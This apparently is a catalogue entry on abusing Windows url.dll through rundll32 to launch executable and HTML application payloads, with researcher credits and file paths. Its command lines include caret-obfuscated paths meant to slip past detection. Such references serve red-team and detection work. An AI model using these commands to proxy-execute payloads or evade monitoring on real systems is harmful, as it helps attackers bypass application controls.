## Url.dll * Functions: Execute ``` rundll32.exe url.dll,OpenURL "C:\\test\\calc.hta" Launch a HTML application payload by calling OpenURL. rundll32.exe url.dll,OpenURL "C:\\test\\calc.url" Launch an executable payload via proxy through a(n) URL (information) file by calling OpenURL. rundll32.exe url.dll,OpenURL file://^C^:^/^W^i^n^d^o^w^s^/^s^y^s^t^e^m^3^2^/^c^a^l^c^.^e^x^e Launch an executable payload by calling OpenURL. rundll32.exe url.dll,FileProtocolHandler calc.exe Launch an executable payload by calling FileProtocolHandler. rundll32.exe url.dll,FileProtocolHandler file:///C:/test/test.hta Launch a HTML application payload by calling FileProtocolHandler. rundll32 url.dll,FileProtocolHandler file://^C^:^/^W^i^n^d^o^w^s^/^s^y^s^t^e^m^3^2^/^c^a^l^c^.^e^x^e Launch an executable payload by calling FileProtocolHandler. ``` * Resources: * https://bohops.com/2018/03/17/abusing-exported-functions-and-exposed-dcom-interfaces-for-pass-thru-command-execution-and-lateral-movement/ * https://twitter.com/bohops/status/974043815655956481 * https://twitter.com/DissectMalware/status/995348436353470465 * https://twitter.com/yeyint_mth/status/997355558070927360 * https://twitter.com/Hexacorn/status/974063407321223168 * Full path: * c:\windows\system32\url.dll * c:\windows\sysWOW64\url.dll * Notes: Thanks to Jimmy - @bohops (OpenURL), Adam - @hexacorn (OpenURL), Malwrologist - @DissectMalware (FileProtocolHandler - HTA), r0lan - @yeyint_mth (Obfuscation)